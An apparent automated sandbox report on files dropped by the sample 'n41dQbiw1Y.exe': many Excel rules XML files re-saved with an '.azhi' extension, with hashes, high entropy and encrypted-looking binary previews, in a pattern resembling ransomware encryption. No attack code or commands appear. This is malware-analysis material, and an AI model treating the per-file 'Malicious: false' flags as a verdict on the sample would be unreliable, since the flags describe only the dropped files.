SSDEEP:	12:J+jK9b6d8Mbnz+nvQE4VpI7xO0DcqbTTCwfBFifRm8LZLexxBSLdg5fj9FVkJYcq:4yb6eMbnI4IdO0fnoRm8RSxUdg5fj979
MD5:	1F7C0478D5A92D997590C8A757A32F56
SHA1:	BFB75245D678F422C999371F29CC05DCD309F48A
SHA-256:	AC0F8B545AA998094772991BB24FD0595C5B7BF86DD0A2F8C205A5A4086806DA
SHA-512:	40B6E86E6D499F4428A66520FEDAC35D67BC06D9CA6C31FE435146F000BA885818BC4B166BF1F51F47D2FC8DDAF6B26E18DDF56ADA3DAE0171ACB48BA0474C4D
Malicious:	false
Preview:	<?xml./$.&\.....^.i.z..9RUv.... .6.v.S.....<Rqt.- /!.....kJ1....Ws.[.xg..m...R3.."..X..X..\|...+1..y.H.`:.B..o..0.v\S+i4\|...........V.c.z.u.VG.Rn..Y..kr.....P.....~.=<S1#.p....H..[..D`....1.%.....e+l...:xz5."...[..7.W.l..2.;S....R_.A.........K........,.\|5.d.w..fS......g....]..Y=.h....$.F...MY.Vm.o.1K`.H.0.M.R..@..a^..6..L........".\|.[y.s.'..a..{F.t..3:g.).....Hf...^....."x.:.........u!.v.......n%.a.w8...a.....I.....O"c\|.7..T......4.<.J.\.>..8v.[.....&g97....2c~.h..R..!_...C. .........\.t.E`....Y...I...cC.3..Y.Bp....B... y.............:...@.:.ID..&.3....Vl'..M.}C&.. ........1T.9...G........T....Xb4.9.Rv-6.......<.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120616v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.718334768702866
Encrypted:	false
SSDEEP:	12:aqRmY/E/bJxWHd/4Hp9pQFDO4Bb18sj+yTBZ7C8usVr3REUPaJuO6uYcii9a:fRmYsla4HPpEy40saKFC8zPaJybD
MD5:	7F4306D12C4C21A7ECD328B50C2AA076
SHA1:	A841C7ADA632B141A3F526E91C1A3A635ECAC527
SHA-256:	9EA6CABD74F4F5284C1F55638819A86B70F60254C77B80D9E979B778125D2978
SHA-512:	0BFC254676FDA0123353EBD0098161E7CA1BC4FCBA33851CA8D3D4A6F4E0CA43734D3E86C6494EDD31401FDE22408E662012A60B61CDDB9CB4E2BC0C0CB6210F
Malicious:	false
Preview:	<?xml:.Ei....B/....K..i......)..T..e..Y.....d.e.S...w..w<..~...>"c..1+\|..R`...2..Y.t9.-.q{...f....} .V.W..f.L..+.I.K..l].#3....L.xa.=.........!3."5>..[O...'%.....,z9.....]..T.}.V..[...c.<..&....8..e.V..eqL.y}=..c%w.\..gC..N..SU...!0.r..].>u.{[.)HX!.R...<$......[Q...i.)RH.;3....#...Jx.q..F3.....r.....\.c>yk.........>XA.U..t.-.KN^...[.5aj\|.T...{..hI;/>Do.>..E"..I..l.f.....C.n'..>Y (..:..0.(xe.7.7<...A..O.7%.%....a..8 ...+.~.p'z.{G.%.?....>....Q...%wxgxn... ....H9....X..W.TS.X...X..T...D......G........_......mvT.5..v.7..G...5...d.r.q.C.wF.-]L.C..."Cbyb/{y.x..>.eo..to{.Aao\|...Vb.1.y...@N.m....5_._..)..K..!./ki...+.X.Y.X..>b..[..=.5H....l..aJ....P....[~..%........,..amq......%.....{..](.v1&PM..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120617v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.725306501466818
Encrypted:	false
SSDEEP:	12:WsjjJJ7rfdnBQd5iXY3kxw/34Zqq4AkzuChgCjzW7K2ElvzA35rJu0uYcii9a:WWJJ7rfdBOX3V40XzQEzWexOrJ37bD
MD5:	E0160DBBD35E8DB4A619B89DE539FCCD
SHA1:	A7AB4A78E2BD1A4181A3D18190A726BB0BE077F0
SHA-256:	939F9DE2399D688BAACEED9CA4AD74B0B7246931BDB67E2B2DBB3718EFBBD6AA
SHA-512:	DEBAD13C1793EADDAE63AF6B7CFA9644D2CC8B9051D77922EF8E6FE54887F4B6E636D221E68A60E051AF0D6A187478792062973FC415DC384B2381EC62C37749
Malicious:	false
Preview:	<?xml.....6.D.-p.f.e...?...U.4.1u1....+.oi...V.....L.....Ck.9...,L.5..L1u.P.\|..%.y..KZ.u.d.9.@B]n.....^O..js(F.3.S.j.aQ.6.4....z.....a.X.........!...f..0.8.j.b....T.....f.4.......~.51....=........l@%.k..2.a.^?.....c ..\|...{A..\|D..P..a...i.......;[1.....(F.......,...ee.b...-..@.Z.].p.NZ?.V...@t.._G.w..Mz...V~..(h...b..lI.'.O........4.h.(.......q.H...P...~U..?..V..]...y.d.uug.=...V..T.^..XQK.X.N..%5<....._.$.v.........5....5....cpP(.."..v....e...J3q.e.U.J.bc....Z0#./*..Q..[.......,r-.O...../......M.tQ{Y..x.. V..%...H..k...?..-!~.9..~.]j.Q.#2...\|.Ih...$..d..u^+[.z.A..5...G......RO.@..........2...b.T~x....S.....U.....~..........R......>.WGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120618v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	819
Entropy (8bit):	7.70175562218253
Encrypted:	false
SSDEEP:	24:SNQJGRsP+DsjtXIif45mNNhquqWwGlDPU+DwbD:SN3Rg+4j9f45mNyuqWjRU4qD
MD5:	E6DD63DCDE9B15A13B23B171C4C8EE66
SHA1:	C64D2B7FE8F3D0E5ADF88C5CAECB04F0A14FF648
SHA-256:	869F88450DDF08EEC2F215DA4EADA978E658A88990CEFEC7029D4697DDEB4207
SHA-512:	5E46DBCBAF8983EB188674944C32FD9F5BEB4E7044D6042E52185101DB3BEB78B30EA9B3FC4064E7B1F63C6DD68CF923C53CFD57C8383D68E5CD193132976989
Malicious:	false
Preview:	<?xml.G..M.e.mj....Y...Er......tC......W!.M..Q......\"Zvz..C...4k8j....Z.J.D3.C4?...q.x..}..5O.d-..g.m..+.h.s.e../8...7.........-..&.;.ib._l.<Q/{.c...t..{!Kf^X...M!.......s.p....7.?...DF.d.y..1c.=.....0.d..[QD......l....].......^..k\.a}..4....\...D.=&.v.W.Q&..R..[}U.z...6.~..>d..>.....a).........8.5a..v&0...:.d.RU....x..I ;...uGk.0.......F....(Y9..%.......3...!..Q...{.'^..j......!..U.r....../.^F5.d.E,sV..g..x...n....V.,&.f.WmO.f}8....n.[....dae...7..pz.;k.....'...M..B.H..B.=H..D.'5l.a.2...j..q..-..B..g.U.:H.z........4;0..:.m.7.Y.,...f..4.s5...2W..$E...o.-...&...n.-..C.i..:...R..m...NK0.0.x+.[^..:....{~../...#..........."V.I.V..h..[....V..>&...W..;(N.b...P.4.8.<.....=.<..6.a.. .eMGNT!$E.s.....5.iGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120619v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	740
Entropy (8bit):	7.6247443321772845
Encrypted:	false
SSDEEP:	12:o4C7XFGUPCBfzShPm9fCbOMNiWjAyxYYTVSEt2eFHvNBd99Zndb+gFz/GHcKccn8:o4O1GUPYfzaPgCe8x/rBdlndb+/8HcuB
MD5:	CCF77233E79B836B97B15337F11F7974
SHA1:	9210C19822301233FF056B321FBAFB5848B83764
SHA-256:	EE6CD0268F5EC00972E4166EBF4DE9070EAC2828ECCC1CA795FA120D185D4033
SHA-512:	E12EFB02CC1B2BA69A5871219121F50838A0DAEDB942C29CF51EE5C610BB2CFC6B92A02A5C014BFAB03947BB3E7E1E528783C45FA6704FE0F1832704C425F45C
Malicious:	false
Preview:	<?xml..`f..{..t.2W.\,- .i!Sx.e....B.ee.......G.9..R.#[...&?..A .s..2_.'.a......QGL.......s../.Dtr../..T..].O..h...$...4nP..H....h._....:.q..vl.d....@S...$*.....j......L....v..., .D.\|.. .%u.E...i..J..\...a.-l?G\...:..}s..`...=..iVo...M...u..u.~(9.=.1...E.....5?L.U.t....A......Bx0]C..m(.......(.T.)A..w_=.\.U#...]7!.'.g.aE..F%.-...Y. ....+.<......`.W,W2>...&..;@..h.AU.....N..:.>+y.l9.D.....t.J..3...(.H...:.....k.xON.V2....@8..."....._..L...w.2.g.C...4,..\...........5Q...2M..M..d85.#o..Fj'...l..."4... ..W.\|..`.M.Qd.r,...Hh..9.xtPq.p._....!X.xG....(..Bd.b.9.l.p!...7.......\4K/.6..z....\.....!Hh..x.8....V.-?....n.b....Y.+./ ...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120620v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	802
Entropy (8bit):	7.689651794707575
Encrypted:	false
SSDEEP:	12:gUzUGKJwsgLgYLQqCWGaKUTucmWPtrRXkgt+sicSvmk1RmXsb2Zu4UQet1tIh8YX:RUz8JRpTucmWPDkDcSvXAC4u4xeOXbD
MD5:	A825B8D9F7E9E5DD082B0D6A642C025E
SHA1:	FDB0F5449430BA4ED47F8048AB0B5B92CACA5A12
SHA-256:	1D4D94CF2E4C28CF4C39677F00223A54D5243A4AB24E23FBF03FFB46B1F82B6A
SHA-512:	A9E115831492B04D1C0910D99448B374707DE80C41D11D2F4392663D794297824974CEDA4EDD221D5082C684D7878378B74DDBBEF0393C8DBCD4871A504D9C02
Malicious:	false
Preview:	<?xmlZ..(.U.S..x..JS..A'p.t.<.yQ9...s.....A....d7~....Y...!.......ox.!..Y.z..l...e.L.......l.....@.?@."..@..??EG...tf.I@[:.='..%.....6..xD<c.^..,rK..\.T<.0....cu@.}.nfp.)....D...E.v5:.....Ds.O...r..i.m..V.FJ..my.\.`.Q..............W.....HDD......?...K.(..g."z=.zV.X..;..?.YFF..F.Tp.......D..O.....+..i..9-CfK........&.tQ..~.W.XD..E'>.vH.`. ........>NY....d..L.i.K..AN..L.s...X2/~..q.......]...E.7x.....ZW..[..8....+d+)F7.{....m..w.U....mZ.0L&.9W...".e..N..."\...^j.z..`8..s..\|Gc`...}e.d..L...7.(....k6../-.b....:.;..o<'0.#.7q....Na.......j0...jR..K~..q9.o.t..P}.-.o.h.T..]...k.r..^....(.=yM....E...".........._..6..mC.:.zr.t...m..pF!49....m&#..1.-9jHF...a.....l{..ls9r....}tY.x.2!...#..4n.Y. GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120621v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.706710258705261
Encrypted:	false
SSDEEP:	12:E6wRB4JRpQR4P/Jk/f1MX9xB4v70K5qMvxVwZHU1NmO5PiUUYcii9a:5wR+np7/u/f1MtxBo7XjxVwZ01UOFNhX
MD5:	908BC3EF9222EA6A8B2534076D0B94FC
SHA1:	4FF65966859D96D3B13EAF0C694E75AFAE04AE45
SHA-256:	F65A9006D02485C71672B45497A7E43095C78DB8AB1AB94FAA10F2EA1905F4FC
SHA-512:	B755704C7C008826752B711C7E56FBC11505206DFBDE1410C9813DE328E088580C22774278BA6A752FB69E76EE95AEA8F7B495E29FD243E08400271FFD62D319
Malicious:	false
Preview:	<?xmly....NZ.f7...t.Y..G:&.J...UQ...i..._.....k.L-/Nh}n..7.....n.tX}.j. ..6.Qu6..W9...[..4.i......q..Ne.?F>..$..\| .B"`.g..=8.P..........}.....rE.@ue../o....%.....D......]."..0g..t....@.... ..O.@..~AjR.u.d.~.}...m...KF.S.Cx.6.E...B..B._."..j.kn..gb.U..d^..$.`bl.T.G...x...../........u.n..HS.../..#....;...3...E...`(..!.4..........R.X.:...gJ.......$....=C.el.H..};g.X..6)..Qp...E..1.1...&.F.v.c.`.!...Y....@......_..8,L.....<....sHj.....Y...I=.'S(.....Y....g....a.T[...........s.~.XGb...%.B.I.<t . ;.....N...Q..!.5..p.....X....^.........V...G.....)......=......f.Q...G.&."...=....&GN^..\>GaN.>...J-[B...x............Bh.0.......mm.%W'....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120622v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.730090250749711
Encrypted:	false
SSDEEP:	24:kB3CuiEA2LQSC8LPzqssa36dMymwMtQHVJWbD:kGrerqsseYmwsD
MD5:	36DB9FAA42797732ABAF3D5A97C4539B
SHA1:	2F41FC4C2A159F01EDA95B13E351CC67C1184326
SHA-256:	679991766FAAF5B201E8E16C7ADBEA0C6EB3FA052B502C10588F2B361BF43705
SHA-512:	37BD811DF13F22A41A3FCE193C63D588217380B9A1454AC49C29BB37B5D44D7CE17469AFB0E557DCD0F1D6718FC878C88029D8D9A70F09DA42D42F540F78958D
Malicious:	false
Preview:	<?xmlB....\|.`.a.{S+..PQ>...iu4f...%.R.N.b..e$...E....Pjr5...@L..%5..Evi.k....e.......Rk.L....%4.pW..._.Q......'..b...$hE..g...\%.{.).r......KW...\|r....8._Y./.@.`..<..G....Y.Z8....(..Jb<oN.X...1<.B..#.g.N......C=...$7..rb}..c..D...u..:G.eM;....6.."........C.@ss.~....`..=.4O.G.`..d.[.b\|nG.%az..x.vj\3...k.\..j...R...........49.[fX@Y....#..?...3...FL...?.Vj..Pmxe..Q.O...!..M.7U.w@#qQ.u..&M...=..=6.n.........g..U6.I.s.K...Y.#f9dQ....i.-"(.z/...m+.0..db...4A.v'X.^.M....BT.o>..~V....]..x.f.O8....a...i...!.h.e.<.YA.u..&{..I...N#.Ga...d.CG.1o.xWI.....r.{l^..Bgl.r.{....2..u.P.eC/.Cu.........;...@..}H..j............hq...\....c....p..."b...[....a.D.~U..$.W./.0.lo<...C...0.<7...N...!.+.q;BU....<.Q./...GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120623v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	797
Entropy (8bit):	7.705866020329243
Encrypted:	false
SSDEEP:	12:gP29YMCm57HZXe8LNnDOa/OpK/Hy0iJVNFQYOfXVXVQjgvXts67JWNGKcYYcii9a:gsjXe8hnaGyPjQnB+/2JWxybD
MD5:	AC217DB42F678BF0D91224E5A6F29463
SHA1:	C62A095DF67F3A5621C75CE998848DE039406E94
SHA-256:	FAADA24920D9844C163F22BE5A33570D93864A64836DBABAB8EB5F4D64D97CE7
SHA-512:	5B96D048B3FCE1F96460DE734F73072AC0F5413BFF457B9CCBA4EC86653E790E1138CA59AE51D7AA95A7AC10E5D397AC86CA5879094326243442FD6E60118989
Malicious:	false
Preview:	<?xml.@.....{.QQ....&.S......&.<..zyw~..m...<7..'.....X.7R.D.....AN#...8..V....v....X.5..>.g<.....qj,.@{.hG....e.i.B\|.{.A........t..................r.Vq..B.z..;WCpp.1.8.....B..<.`.3.0}UM..7.{.Y.\Q.7h...&3.j..;w........0...."..R1I.[..7...6...}....w..?.).......}..v~...eB.\..U).d...W....qyH.[...Z....%...N.z.9'.....I..f.J?.eJ.3....?.S...I1\|..r>.C.....(........'.lA.V..k5.R7'.........P$3\....!...Y...x..\|....~PS....V.T8..%....MCe.}.y...D...&&..;........2...U.....4K`C.`......5.......E!...O..w2MbN.w.V..f..>8C.$.i.^P.Op...m.UY..L.-.S...~P;a..}8.?>..V.82}/C.^..h...d.@.. .P.v..@..d.m..\|....].-.\|.b.......d.`.s:;K-.*....,H.....p.{...D.7hzH.N6$.B..<.t.p....U...7.P.N..`!..M.#.....E.b.rH;!..3GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120624v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	827
Entropy (8bit):	7.749122016704093
Encrypted:	false
SSDEEP:	12:sxRzUlj8UoqvJixo5/uimwzGSyqI/O7IYDmPlCXKycKXrSNoFFUrQZoasYcii9a:g1qvQ+huimwz6OVaycirvLU6ZbD
MD5:	BC54F46EF60CC43AAA36132C3FBACB3C
SHA1:	4DE3A3DDADC7CDB8DE3F6F4854EA123299D2E07A
SHA-256:	94BD555E57594E2C52F8028E283291C382B526201BA8DDE1F55EC4FC7A74B9E9
SHA-512:	4D801560FCC03F9A099D5A9BDE88D8CE1BB1B7B7D412E30E85A0F9DE5A2498F0D8B61BDB857E232CD638B7548A79147A44A92D03BBF60CF1D360C0E613258843
Malicious:	false
Preview:	<?xml..l.>).6.`.....7`..5..x..aa.L.0>...6G3K.4....Hq..t........p............D?... ...g..L..>.Y..Nc...(.C.P...[$...A.g.?>..8..8.V8...Sr+.......<..u..ld..\|.6..`....#.....33.y.9.6....v...R.Y..m....c."M.f.[.5aT..h.w{y.f...-....i..l...!......L...c4.UE..N!ZS..".oTX....Ry9..T..X...0...4.f.".d.u...1}......E..}.;#8..Yh..6.........#.....'..~.(..3_]..R<.4..m..y..DDJ..~...a."Y........................E......s..l.....R].l....7b.N...d#..7&q.\Q.....,fj..2t...{B..........l...E......G.......z.X..D+.T.Tw...$PbM'".0?xca..ABXu.,n....-=\|l.....y.iC.d..$.x..g.2?=..$I......vt.y..{.._...y_...`..us...^...E..+~@:;p...UF.'.m..n..w...>../.}.E=.-....F......z..,.c.0.......D...{.e...........(...`1...u.&.k.U#e.(....l...;t.m`.UkZiI.l.bcM.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120625v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.668157959112827
Encrypted:	false
SSDEEP:	12:8SvtN1TDbPHRxIBKRCPQLYixd9ydB3RygoVnJmz11jB0Zix54LcqtVOArBCvYciD:8SVN1TfxGKCPZix0o3qPsoWcQVlBCAbD
MD5:	0A5645148C128EE839DDEA836B02A1DD
SHA1:	B4F49C2F2F0A9C2666C5DE75A4E01FE062788C5D
SHA-256:	103178C6084CBDD77C94795FAB917B397777514E6506FFC85D7E5D20C5633977
SHA-512:	3826D5144C18C45722ACC8F77004D0C67C8163A12D1DB32B9A0C61B8FD48E8B66A0D3AB247BD09E58F1E4FBE45BB302E2C44D2D933364DAEA5E2DA09114CE786
Malicious:	false
Preview:	<?xmlZo8Z._e......k..!..#..tZ...'....c".z..h....4.a.p...t.h.s;b.f.7....].\|o.Z}...+......@L}..g...a.....E.W.....~L...<./q2.O...;5Q.O ...$....-.s&....:.+..].......-.."..:."..hX....9C.>...J]......-.R..H...@.;.1=.w.Vn?.f....'{..x.e...3e.j.......(.H.\L....7FJ,CUO.%...7.P..3....7..I...f..m..p.k.....$r'..8: .`$`7.?.Ioj....._~.I,.\|..o...Z.1...q\5....J<...p/ZO...42?.....?J.G..N.v.5.}V.r4E.t.ou.W.D.5..e.N.....~..t......uG..$.`.V. ..p,k.....c.0..Td...r..P..9.`[...d.B.%q.k..g<...\|...."C@.:......J;.5....%\,.@..8_..T..D?&.g.4.{...xB..-..J{j71x.y...../Z.D.5.{..(.:@......%..7...<*...d..n..6].. Q......jh,......P....K....0l.yr...........GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120626v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.734590950738739
Encrypted:	false
SSDEEP:	24:SOGz1swy8okD+CySBpQrmOlg8CfANke3WX8OXY0IbD:qe98P6C5/QKOTGANf28aY0SD
MD5:	BF1C00441D310504A4C74D5A5DC3500E
SHA1:	5F754C11F4100645B66FC293A453A82FA00D9E19
SHA-256:	BCE84FC195AF9B70FA11D7BDC50F6BABBB602739514C99E59A0FAFBC3F81369F
SHA-512:	882F78C674ECEDE68C02E82BCDCB98D9989B922650B37407B7B28EA25EFDE653F4837F177E4AA91C17E60D1E66BFD7001F25F2613C3B2C181297325F847DFFF0
Malicious:	false
Preview:	<?xml\|.Lz.Ul0..........1..v.5.i7E.odc..>M5 .h.C...mp.6....C...Y._..<w.......B`}.C.0.....2..^...g..J..C4...........I..z....n!\|....;i..2....S..gf.8fA)9..c}T.....)..\.3$j....X...F.8.....~\|.....E}......1.."I5.p.A!?.../dKQ.V.w=p@V....[p..t...........lja.kX..w..RM.z..........et\L.E..8VN.9Y-.k[....P..Z.Y..m..'v.%...k.......r....3(....5C.l.9....~....Z!..P.7..$.f...:_m.`["..mSr5.... t.T...\s....]Z....H.\.a..9.......v6.R2h($...+rZk.].^..J$..J...'..mo...+.E../.mD..jo.>.)..[.h./.Uh.AJE-...AV{......M.. l.g..K...g:..<2....p.oW5.5w.E..b3q...O.....x..#.`.P....p.K.K5..uM".p.....=f[...?.}.m..!W9...}K.}...-sh3....."'f.jT/..v...E...r.............~...;O./.....~.#...##......D......l.>YO..Qd@(y...7.S.\.",gGQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120627v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	737
Entropy (8bit):	7.709769457936069
Encrypted:	false
SSDEEP:	12:7E5z51mQAj1/TKa/X970nxy5hdhM/WamopshyIIkuxbucZjq2SNJbtBCb8bc1Ycq:A/1NMB2270nEo/WbopshyPJd31qsacGX
MD5:	E338C1B348BAE45A321BD667E27C9B97
SHA1:	97FF5CDE777E237232BE3648286EEC4755A402E8
SHA-256:	FD87DE6EBA9E7E008BF4387EDADCD560F987556E10D6EBE28166B90575347C8B
SHA-512:	93871F6AFFE271F1BDF35587D5D116CDD70112281ED159544A4A5B8703A84A3FCA0D71CA7F9657BB9F4AFE389D500374EF61CA3B338EAD6DEA1A4B6D8747FB05
Malicious:	false
Preview:	<?xml....z.b.E.r.QPq.-.~.u.#...g.....u.....GQ0DJU$iRN.=l.v.@.2..2.......OF..^7}.....E^.O...:Y_...a)...d...0@.....`...i._....Z..s-?..M(.h.".;.@d....GS.i&x..A.9..ta..1....(.#P86./^...P.#_q.Vr.:.?j.....V?x".?'p@..J......p......j.G.......h....j.....=.$=....f......\.........-.W.%..z.....d..."v......D..>D.v.C.m......x..z..c.V.....+*..PU...kHmo....../4..T.......jO.....:...z.A=......m.7.tO..x..o.7i/^..7.A[......k....1\..Z..a@f.._..r$-.......X.Z5.h$E.........5k..X.wTj...].n..>ZZ.N........../;....e9wH.78..)..W.%.,.L..L.E.....a......P.k..x._..+.M..\~....w.W.....z..c.....;as#..A)..^.s#.L<....r....#8...N...D..d_.~...n.fS..t.l.f..GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120628v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.7430529152175565
Encrypted:	false
SSDEEP:	12:gXyfY8LCmrCxFEK3v308INyrQ/bgoCm9fLoS5hKAPa8NKp001PDxJ6IkYYcii9a:gigvmu53v30KQ/EmqS5hAp001rxXqbD
MD5:	A9074C63A706251C243A16DEE17A9571
SHA1:	9333D043AF66081E38751C71A6B32CC8A1F6E5C0
SHA-256:	868E29CE3E7A6DE561B5C33409F20D569DF44D160E192765EC7051965D610846
SHA-512:	23FFFE5A95D712FB310ED6BD6BF8ED0C9D431136C789E3586CE12AE6934C8749CD1FFDE294E93B6EF5BA650C3989627FF7A036873A37991F240E64D15D88D6E2
Malicious:	false
Preview:	<?xml.27=....~.....0.k.tz&..3.HT..RU...^g..}..s='. ...v.&.....Q.QCN.[........(.r......T......1..V.c.....#q"x"...f1..]...H)....4m........n.o...m.F@.g..O.........Vr@...of.....R......T^.u........8......h...nh..e.X(.:..)..q'..8....n..[.......y.[....'.a.G.4...e.8......or.Z...F.;.....C<z.P5"g~...N2.....3..!.....?r..@.^...R...c..\..wN..N..7))x[..l.#......w..q.f'.......^.z........E. 7.?.L....8s..[#..g^.r.......'T..}q.._....k.]^.Pmcno......tz.gC.,.F.........H^I....\|s..=..o\|.b...._...li`Ko.4n5.,..&.............W.[qf+4w.....d.%.P...5/...u...v..&/g!..x..,;.`.....<j.l...]..l..r....E(.JW..O..5n$S{..J.......%.,.........J:....)1.2A..'.(..P..6...!..0...gmR.fM.<c)(s..ou`...H....p1...\|.v....].GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120629v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.729331199841585
Encrypted:	false
SSDEEP:	12:VPo8/3xNe78y/oyJXw7l6Tu0enAzzVTFMwVmSwlLqP1crGcZ1rsy2X9mpQUYciik:VH/AxhJgBivVTFMwVmBGcrZnbM9mWbD
MD5:	CCC8C7C4DEB1D8EA2BA57A0EF96E6EFE
SHA1:	D7C887D61BA040C3239AE5DC30DF3440BCB1882A
SHA-256:	20C34BB9720199027203063F9124A470FAC2E91F4E87617ED727A11D4AB27589
SHA-512:	5FDDADE23DCC5A7EAD52782E55B4667147715EE5F5CE28FBF19633CA99F361626FDF95377DB77CF5BF51F8E2E62B1CF49020879257C9AE9E0BD788E490B03573
Malicious:	false
Preview:	<?xmlwp./..fV)....3.)....i.?....#../(D.......F..>.z.qE.'.....:...(..v.^.fk..-.....1..3T[.......;.....g..W.J>.TJ.ZiIvWA.9.Ow.....;....d....M.}R-M.8.Z4b..^;..c.;AR.....F..{...o..W.<...1s..Dr.g.3..C_...P.' /.;.Q4...s..i.r.......}o.Hg.0.T...h)r_37G{.....3.T.........]w...Ap.4..h.i....w...X......G..^S[............. .g.#..a....U.V.=....t.V............pC.\|.<..#x.B...-C.P...J.-'..@.......3o.............r7..y.'.i..........C.<.}....[..MVR.(....^.....Y..?jA@YF........~...p..{.=s.(i.m.2v#/.....ui.Le.._+.E.}. ]J0.g_{%F..&K.......v...N.km@."5Em..\|1).u..k5qC....0.+....W..z.5......2Y.:.L\|9.4}....^..$\|0..1.^.(.X....n)r...A..+.7l.......Z}......U..K.....GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120630v0.xml.azhi (copy)

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	832
Entropy (8bit):	7.752824421110941
Encrypted:	false
SSDEEP:	24:LnEu/vHTpQ51jk80XHlPhu0LUG0KN1sbD:LLvHTK/jk8wdh7LUG0tD
MD5:	B9019009901D200ECE2CA7AE2305589A
SHA1:	98EB7FB897A28D2609523AC22A4C6A06323DA710
SHA-256:	09A7C19B9E89681867B132F2B2E0BEE0F2A2DFBD644FAA7F078233DB02164F57
SHA-512:	BD7AF7FBEFF6F18F62AEC90B11E3BAA60C493829B255C7D12736351B95069383E596C1EDAF6C44F9C26918AA241A9C817046C4707CAC6ED6FAB80960634FA5FE
Malicious:	false
